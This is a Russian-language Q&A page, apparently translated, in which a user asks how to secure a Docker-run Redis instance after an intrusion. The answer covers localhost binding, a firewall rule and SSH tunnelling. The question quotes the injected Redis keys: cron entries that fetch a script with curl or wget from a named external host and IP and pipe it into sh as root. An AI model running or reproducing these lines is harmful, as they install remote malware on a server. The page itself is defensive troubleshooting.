Redis в Docker выставлен наружу.

Вопрос или проблема

Продолжение к моему предыдущему посту здесь, потому что я думаю, что это совсем другая тема по сравнению с моим предыдущим постом.

В любом случае, я переустановил свою операционную систему (Ubuntu 22.04), настроил брандмауэр и запустил redis в docker с помощью команды

docker run -d --restart unless-stopped -p 6379:6379 redis/redis-stack-server:latest

Поскольку это чистая переустановка ОС и брандмауэр включен, я думал, что мой redis больше не открыт в интернете… пока не увидел те же ключи в моем redis снова

backup1 : */2 * * * * root cd1 -fsSL http://en2an.top/cleanfda/init.sh | sh
backup2: */3 * * * * root wget -q -O- http://en2an.top/cleanfda/init.sh | sh
backup3: */4 * * * * root curl -fsSL http://45.83.123.29/cleanfda/init.sh | sh
backup4: */5 * * * * root wd1 -q -O- http://45.83.123.29/cleanfda/init.sh | sh

Что мне нужно сделать, чтобы действительно защитить мой redis от повторного вскрытия?

Кстати, вот моя настройка брандмауэра

To                         Action      From
--                         ------      ----
Nginx Full                 ALLOW       Anywhere
22/tcp                     ALLOW       Anywhere
Nginx Full (v6)            ALLOW       Anywhere (v6)
22/tcp (v6)                ALLOW       Anywhere (v6)

Кроме того, кажется, что redis, работающий в docker, не работает в защищенном режиме. Поэтому я спросил у ChatGPT, как запускать redis в docker с использованием защищенного режима, и ChatGPT посоветовал запустить эту команду docker run -d --restart unless-stopped -p 127.0.0.1:6379:6379 redis/redis-stack-server:latest redis-server --protected-mode yes --bind 127.0.0.1, но теперь появилась другая проблема: я больше не могу подключиться к моему redis с моего локального ПК (я использую Another Redis Desktop Manager и настроил SSH Tunnel, используя тот же закрытый ключ, который я использую в putty)

Ответ или решение

Ваш вопрос о безопасности Redis, работающего в Docker, актуален, учитывая повторяющееся возникновение посторонних ключей. Ваша ситуация показывает, что Redis, вероятно, подвергается неавторизованному доступу через интернет, что может нести риски безопасности. Рассмотрим шаги для надлежащей защиты вашей установки Redis.

Идентификация проблемы:

  1. Экспозиция через интернет: Если Redis запускается в Docker с пробросом порта на 0.0.0.0:6379, он автоматом доступен снаружи, что может позволить злоумышленникам добавлять неавторизованные записи.

  2. Неактивированный защищенный режим: По умолчанию Redis в Docker может запускаться без так называемого защищенного режима, что делает его уязвимым для удалённых подключений.

  3. Неправильная конфигурация брандмауэра: Ваша конфигурация брандмауэра допускает подключения, но не включает управление доступом по порту 6379, который используется Redis.

Решение:

  1. Конфигурация Docker с защищённым режимом:

    Запуск Redis с защищённым режимом можно настроить следующим образом:

    docker run -d --restart unless-stopped -p 127.0.0.1:6379:6379 redis/redis-stack-server:latest redis-server --protected-mode yes --bind 127.0.0.1

    Этот код ограничит сетевой доступ, предоставляя доступ только с локального хоста.

  2. Настройка брандмауэра:

    Добавьте правило, блокирующее доступ к порту 6379 из внешних источников:

    sudo ufw deny from any to any port 6379
  3. Использование SSH-туннеля:

    Для доступа к Redis с вашего локального компьютера настройте SSH-туннель. Запустите следующее, чтобы связаться с Redis через защищённое подключение:

    ssh -L 6379:127.0.0.1:6379 user@server -N

    Обратите внимание, что user@server — это учетные данные для доступа к вашему серверу.

  4. Обслуживание и мониторинг:

    Регулярно проверяйте ваши лог-файлы и аудируйте конфигурации для обнаружения подозрительных активностей. Убедитесь, что применены все последние обновления для Ubuntu и Docker, чтобы поддерживать систему в актуальном состоянии.

В свете увеличивающихся угроз в киберпространстве, важно обеспечить максимальную защиту ваших данных и инфраструктуры. Следуя вышеперечисленным рекомендациям, вы уменьшите риск несанкционированного доступа к вашей базе данных Redis.

Оцените материал
Добавить комментарий

Капча загружается...